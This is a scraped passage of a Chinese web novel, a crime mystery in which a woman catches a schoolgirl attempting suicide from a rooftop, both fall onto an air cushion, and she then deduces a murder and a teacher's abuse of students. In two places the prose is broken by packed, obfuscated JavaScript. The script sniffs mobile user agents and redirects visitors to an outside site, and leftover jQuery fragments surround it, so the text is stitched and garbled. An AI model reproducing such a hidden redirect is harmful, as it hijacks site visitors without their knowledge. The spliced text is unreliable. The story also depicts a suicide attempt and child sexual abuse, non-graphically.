d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711087|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指……这些都是伤害,虽然客观上伤口轻重程度不同,但没有哪个伤害是更‘下流’与‘肮脏’的。 “小丫,我不会说让你‘就当没发生过’,受伤已经是既定事实,否认只不过是另一重逃避,我们需要做的,是直面这个伤口,然后,用堂堂正正的手段,反击、报复那些给予我们伤害的人。 “脏的不是身为受害者的你,是那些犯罪的人。” 谢柏雅余光瞥到楼底下已经有警察开始铺气垫。 谢柏雅牢牢抓着周小丫的手,她的体温从交叠的双手传导过来,将她冰凉的手掌都染上了温度,“小丫,你那么勇敢,连死亡都有勇气面对,一定也有勇气重新站起来,面对那些伤害,面对那个伤害你的人,给自己、也给那些和你同样遭遇的女生讨一个公道,对不对?” “我、我可以吗……”周小丫的泪痕已经在风中风干,“我不敢,他、他能让我上不了学……我还想、还想考大学……” “你当然可以,你作为受害者,可以帮助我们、帮助警察,让他得到应有的制裁,然后走上你想走的任何道路。 “周小丫,你很勇敢,你非常重要,我们需要你,很多人都需要你……不是你家庭里对你有所图谋的需要,我们需要你勇敢的站出来,作为你自己,打倒坏蛋,救下更多无辜的人!” 周小丫的表情终于有点松动了,谢柏雅再接再厉,“而且你放心,你下来后会有人保护你,你不想见的人可以不见,不会再有人能伤害你,再也不用害怕被他胁迫,被家里威胁没法读书。” 周小丫抿了抿唇,终于动了动手,第一次回握了谢柏雅的手。 谢柏雅刚想松一口气,突然,一个熟悉的声音从楼底传来。 “周小丫同学,你不要冲动!” 有一个男老师拿着扩音喇叭,正往高楼上喊,高声喊的话还算正常,但谢柏雅一听这个声音,眸光一沉——是陈国方! 她去看周小丫,果不其然,一听到这个声音,周小丫的情绪瞬间再度激动起来,刚刚的安抚仿佛都没了效果。 “周小丫同学,不要轻视自己的性命,就算不为你自己考虑,也该考虑考虑你的家庭,你的父母,还有你的弟弟,他们都等着你回家!” 这是一字一句都在往周小丫心口上戳,谢柏雅按着耳机,差点骂人,“把那个老师拖走!” “周小丫,同学和老师都在等着你下来,千万不要想不开,你的父母和弟弟也在赶来的路上……” 扩音喇叭被强制收缴,但这字字句句正中伤口的“劝导”,已经让周小丫再度崩溃:“他们来了……他们来了!!我不要见他们,我不要下去!我不要再见他!!” 说着,她一把松开栏杆,也顺势放开了谢柏雅的手,直接纵身一跃! “不要——!!” 谢柏雅曾眼睁睁地见过方映秋从高楼跃下,她甚至就在她的身体里,却无论如何都无法拯救她的性命。 现在,面前这个周小丫也…… 谢柏雅几乎没有思考的时间,探身一把抓住周小丫的手,巨大的拉扯力几乎要将她一起扯下摔落,千钧一发之际,她另一只手狠狠一抓,死死卡住了栏杆,手掌卡进栏杆生锈的裂口边缘,鲜血顷刻涌出。 “你、你……”周小丫渐渐回过神来,看向死死拽住自己的谢柏雅,“你放开我吧……我不能连累你……” 谢柏雅现在的身体已经很难承受这样高难度的动作,她咬紧牙关,硬是一声不吭,底下的周小丫还在苦苦哀求她放开自己,谢柏雅明显察觉到力气从身体中抽离,手掌上的鲜血溢到栏杆上,滑腻的触感更是让她本就快无法握紧的手更加艰难。 随着血液一滴滴涌出,她的手终于一个打滑,再也支撑不住。 呼啸的风声中,她只能眼睁睁看着自己的手滑落栏杆,从七楼坠落! 27. 第 27 章 从高楼上坠落的那一刻,谢柏雅竟产生一种“熟悉”的感觉。那是来自于曾经经历过“濒死”的躯体记忆,甚至并非是在游戏里同方映秋一道坠落的记忆,而是似乎曾经在现实里,她是否也曾…… 仿佛走马灯般,记忆里的种种如幻境在眼前闪现,甚至还有她记不起的人与事,那些事关三年前案件的记忆——直到那个熟悉又陌生的身影出现在她面前,她看不清他的脸,但下一瞬,他就倒在了自己面前,乌泱泱的鲜血汇聚成泊,蜿蜒至自己脚下。 谢柏雅瞪大双眼,想要看清那个人:“庄……” 砰—— 下一秒,她落进了楼下的气垫中,剧烈的撞击让她疼得五脏六腑都仿似震颤了一下,幻境瞬间被打散,橡胶的气味充斥着鼻孔,眩晕与疼痛让她眼前一黑。 “谢柏雅!你没事吧?” 耳旁嗡鸣一片,她甚至没能分清那是谁在讲话,但她摇摇头,伸手推开那人想要上来扶她的手,“先救……周小丫,不要让她和……陈国方见面。” 围着她的人好像散开了几个,她想撑起身体,却被人拦住,“别动!”那人的语气非常冲,甚至莫名有种气急败坏的感觉,但扶着她的手劲却很轻,大约也是因为自己的身体在微微发颤。 “高楼坠下不要轻易挪动,就算没有外伤也可能会有内出血,这种道理你不懂吗!” 谢柏雅缓过神来,终于看清了面前的人,庄仲纬正蹲在她旁边拦着她的动作,在他身后,急救医生和老师警察都围着周小丫,谢柏雅找了半天没看到陈国方的身影,总算松下一口气。 “咳咳……”大喘气间不小心带动了气管呛咳了出来,虽然咳得厉害,但没有血腥味,看来没有伤到内脏。 她反手拉住庄仲纬的手腕,触手的那一刻才发现,刚刚的颤抖并非来自于从高楼坠落的自己。 是庄仲纬的手在抖。 谢柏雅的脑中似乎闪过什么,但她下意识还是开口道:“让林景泽……跟着周小丫,做心理疏导,千万保护好她。” “……知道了,先管好你自己。” 又一批急救员来到了谢柏雅的身边,做了简单的固定措施后,将她抬上了担架,塞进了救护车,她听到庄仲纬出示证件一起上了车,随即救护车呼啸离去。 医院离这里不算远,救护车一路畅通无阻,但谢柏雅晕车的毛病又上来了,扶着额头,下意识想要翻身找水喝,又被按住。 “别乱动。” “……那你帮我拿水。” 庄仲纬不理她,“做检查前不能喝水。” 万一有内脏破裂,喝水只会加速血液循环出现生命危险——谢柏雅也明白这个道理,但她实在是晕的太难受,不得已,只能想办法转移自己的注意力。 “刚刚摔下来的时候……我好像看到你弟弟了。” 庄仲纬扶着她担架的手一顿,提到三年前的事件,他下意识想开口刺她两句,但看到她现在的样子,便又遏制住冲动闭了嘴,只冷冰冰给了个:“……哦。” “他死的时候,看来我确实在现场。” 庄仲纬的火气上来了,拳头捏得“咯吱”作响,“然后呢?你想说什么?” 她当然在案发现场,警方当年就是从庄明竹尸体旁逮捕的她。 谢柏雅长舒一口气,“……没什么,确定一下记忆的准确性。” 说着,她重新找了个话题,“之前丁卯巷那个小混混被杀案,凶手是那个校医刘阿娣。” 她这话题转得生硬又突兀,却又偏偏放了个炸弹,车内寂静一瞬。 “啥?你怎么知道?”开口的不是庄仲纬,而是另一个一起陪同的湖县警官。 谢柏雅闭着眼,开始回想线索转移注意力,“那个小混混的伤口是刀伤,斜向上的伤口,伤口也不深,但却还是致了命,说明凶手应该熟悉人体结构,有医学专业背景,且比那个小混混身高更矮。案发傍晚,那个小混混在附近的奶茶店点了一杯奶茶,而你们在案发现场附近的垃圾桶旁边发现的奶茶,只喝了大概三分之一杯,那杯奶茶里的茶多酚含量是651.9mg,三分之一正好是孕妇的摄入量。” 这是游戏里的警队查到的线索,她想现实里应该不会有太大出入。 湖县警官听得眼睛都直了,在谢柏雅喘气的空挡,才想起来拿出笔记本来记录。 “然、然后呢?为什么是孕妇?那个刘阿娣怀孕了?” “她手臂上是做试管留下的针孔,如果你们去检查她的个人物品,应该还能发现保胎药。至于动机……她在替她的同伙清扫障碍。” “同伙?” “教导主任陈国方,也是方映秋那一案中的凶手。”说着,她的视线缓缓移到旁边的庄仲纬身上,“对吧,庄警官?” 庄仲纬微微皱眉,“……天台上确实有一个可疑的脚印,还做了伪装,推测凶手身高178cm-182cm之间,体重在65kg上下,年龄45-50之间。”说着,他看了谢柏雅一眼,“但要在学校附近寻找这样一个人,想必不止陈国方符合条件。” “……所以,暂时缉拿他的理由不能是杀人嫌疑,而是,涉嫌猥亵和诱|奸未成年人。刘阿娣引诱女孩儿和她一起离开学校,带进他们的小区,方便陈国方下手。而这一幕,在三周前被想要去那个小区闯空门的小混混看到了,发现了这个秘密,并且向陈国方他们勒索……所以刘阿娣出手除掉了这个小混混,替陈国方他们扫清障碍。” “……他们?” “对,涉事的人很可能不止陈国方一个。”毕竟,游戏最后方映秋的孩子并不是陈国方的。 但陈国方又确确实实对方映秋做出过那样的事。就说明,他们是团伙作案。 “除了陈国方之外,还有至少一名同伙,那名同伙的身份……可以提取方映秋孩子的DNA进行比对。至于陈国方涉案的证人,可以去问刚刚那个跳楼的女孩,但我建议心理医生陪同在侧。” 小警察一边“唰唰”地飞速记笔记,一边开口:“那既然这样,不用那么着急,等检验结果出来,或者找到上一案凶器后,再去逮捕他们两个……” “不可以!”谢柏雅突然开口,语调严厉起来,“他们在学校里做这种事肯定不止一个受害人,每次在即将败露的时候,都会由校医出面诱导学生自杀,放任他们在外面多待一天,就有可能多一名受害者!” 她这一激动开口,又开始呛咳起来,庄仲纬按住她的肩膀,“躺好。等拿到周小丫的证词立案,我们会第一时间申请拘捕令。” “咳咳咳……还有,尸体……” “小张他们不是在殡仪馆吗?不用事事都要你来操心。” 正说着,救护车也终于停在了急诊室门口,谢柏雅被抬进去做检查,湖县的警察看着她担架上的背影,激动得直拍庄仲纬的肩膀。 “我靠!庄队,你们局里什么时候新来一个神探啊!只是看几眼我们的案件报告,就把真相推出来了!??” 谢柏雅推论中的线索都在之前他们发过来的案件报告上,所以小警察倒没觉得她“未卜先知”什么的,只是感慨她的推理能力。 庄仲纬揉了揉额角,没有说,其实刚刚谢柏雅连案件报告都没看过。 不,或许看到过……就一眼,就在他收到信息的那一刻,瞥了一眼。 见旁边的小警官捏着笔记本跃跃欲试,恨不得立刻回局里上报线索破案的样子,庄仲纬开口:“你先回去立案,然后尽快逮捕嫌疑人,这里有我看着。还有……她不是警察。” “……啊??”小警察眼珠子都快掉了出来,“不是警察??” 刚刚看到谢柏雅救人和推理的样子,简直比受过专业训练的都有过之而无不及! “她是……”凶手?嫌疑人?证人?“……我们新来的顾问,姓谢。” 小警察记了一笔那位大佬的名字,向庄仲纬告辞后,飞快回去整理案件报告,留下他一人在急诊室里等谢柏雅检查出来。 全身检查耗费的时间不算长,她坠落的姿势又保护得当,除了手掌上的伤口之外,外伤只有手腕和手臂的挫伤,还有一些磕碰的青紫,内伤还要等报告出来,于是谢柏雅被安排进了病房先观察一晚。 这一下午折腾得她又累又困,医院对于她而言又算是个相对而言“熟悉”的安全环境,被推来推去中竟然迷迷糊糊地睡着了。 再醒来时,窗外的天空已经擦黑,她的病床旁正坐着还在玩手机的夏思敏。 见她醒来,夏思敏一下跳了起来,“你醒啦谢姐!” 谢柏雅点点头,哑着嗓子开口,“检查结果出来了吗?” “没有内伤,再观察一晚就能出院!”夏思敏的声音仿佛在什么时候都那么有活力,她帮谢柏雅撑起身,垫好靠垫,“来喝点水吧!庄队说你一直吵着要喝水。” 谢柏雅:……她什么时候“吵着”要喝水了? 她边撑起身边道:“他呢?去警察局了?” 夏思敏点头,“刚刚来消息说,刘阿娣的逮捕令已经批下来了。” “这么快?”谢柏雅都楞了一下。 她之前说的那些推理,虽然指向性很强,但并不足以马上申请逮捕令,最多只能“申请配合调查”而已,但居然已经批下了逮捕令? 她脑子一转,开口道,“……是查到了刘阿娣给小混混交钱的证据?那些名牌箱包和护肤品?” 夏思敏眼睛一亮:“不愧是谢姐!连这个都知道!” “游戏里我们在医务室调查过线索,那时小赵不是查到几张信用卡记录吗?一开始我以为是她自己用的……但穿过去第一天的时候,我闻到过她身上的护肤品味道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726384|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是那几种里的任何一种。而且卡号和她平时给家里刷的卡不一样。” 转账会留下证据,走现金也不是百分百安全,毕竟现在大额现金流通得少了。 ……也亏得对方能同意这么麻烦的交易方式。 “庄队他们查到那个小混混有个所谓的‘代购’朋友,有一套号称‘全新’的商品上,有他和刘阿娣的指纹,这就涉及金钱交易了。再查下去,一些奢侈品有商品编号,追溯账单,都是刘阿娣买的。” 说着,夏思敏想了想,“对了,谢姐,我之前游戏里就想问了……你是怎么知道刘阿娣就是陈国方的同伙的啊?就因为她是学校里唯一的孕妇?” “最开始我也只是推测……你记不记得游戏里那天,石兴旭和校长老师们在会议室开会?” 夏思敏点头,就是谢柏雅在操场上那番演讲后。 “那天刘阿娣也在,她倒茶的时候,对其余人都是按照职级高低来的,只有陈国方和校长,她先给陈国方倒了水,然后才是校长。” 夏思敏呆了呆,“那也有可能是陈国方离得她近?” “后来石兴旭向刘阿娣问方映秋的病历记录,这应该是她没有料到的,但在那个当下,她看向的也是陈国方而不是校长——如果是想向上级求助,那她作为校医,这时候应该看的也是校长而不是教导主任。人在紧张情绪的当下,会下意识看向自己最熟悉信赖的人。” 桩桩件件的证据,在那个当下或许不足以明确指向两人有关,但足以让谢柏雅留意起刘阿娣这个人,之后夜探校医室,查到论坛上造谣的ip就是刘阿娣,更加确定了她的身份。 夏思敏更加呆住,“……原来你那么早就发现校医的问题了……” 谢柏雅的头还有点晕,她伸出冰凉的手贴了贴额头:“不说她了,陈国方呢?能逮捕吗?” 提到这个,夏思敏有点泄气,“……陈国方那里,还没有直接证据指向他和方映秋案件有关,只能等周小丫的口供出来,先以别的罪名控制住他。” “周小丫怎么样了?” 夏思敏刚想开口,病房门口传来开门声,离开了一下午的林景泽拿着外套走了进来,“她也没有内伤,但落地姿势不对,外伤比你重一点,而且情绪不太好,护士给她打了镇定剂,建议先休息一晚再让警方问话。” 见林景泽走进来,夏思敏开口打了个招呼,便站起了身,“林哥来啦,我回酒店洗个澡,今天跑了一天热死啦!一小时后再来和你换班!” 之前谢柏雅就发现了,从穿着打扮和谈吐都能看出来,夏思敏是个家境不错的小姑娘,陪着他们跑了一天,肯定也累坏了。 但谢柏雅的重点却不在这里,她看向夏思敏,神色有点古怪:“……你叫他什么?” “林哥呀!他说他是你的监护人,难道不是兄长什么的吗……” 谢柏雅:“……是监护人,但没有血缘关系。” 这要解释起来就又是另一个故事了,她头疼地叹了口气,决定至少休息一晚再讲故事。 “小夏今晚就在酒店休息吧,我这里不需要陪护。” 夏思敏有些为难,“啊?可是……” 林景泽也开了口,“放心吧,有我这个‘监护人’在呢。” 夏思敏看了看两人,不知道脑补了什么,点点头,“好,那我就不打扰了!” 眼看夏思敏的身影消失在门口,谢柏雅沉下语调,敛起了笑容。 “也不需要你,我只是轻伤,起夜没有困难。” 林景泽看着她骤变的态度,也不在意,笑了笑,“我为你奔走了一下午,还以为至少能缓和一下你对我的态度呢。” 说着,他也有些好奇,“你既然不信任我,为什么敢让我帮你去照顾周同学?” 谢柏雅皱眉:“有警察陪着,你不敢做什么,而且我不信任你,仅仅只是出于你会对我不利,相信你还没丧心病狂到无差别对路人下手。” 林景泽的表情看上去更玩味了:“……你终于说出来了,但这很奇怪,我三年来没有做过任何对你不利的事,甚至尽心尽力地为你治病,你为什么会有这样的想法?” 他缓缓靠向椅背,目光向上,突然凝在了谢柏雅正挂着的药水上——葡萄糖溶液。 思索了一会儿,他突然恍然大悟:“原来是因为这个?” 谢柏雅皱眉,没想到这人这么敏锐,便也干脆开口:“每次催眠后,你都会让护士给我挂点滴,你们说那是葡萄糖。” 林景泽低笑一声,“所以,你是从药水袋上的配比上发现的问题?” 谢柏雅顺着他的目光抬头,也看向了药水袋。 “正规医院的葡萄糖注射液只有100ml:5g和100ml:10g,但你给我挂的是15g的。”她看向林景泽,“你给我打的到底是什么药?”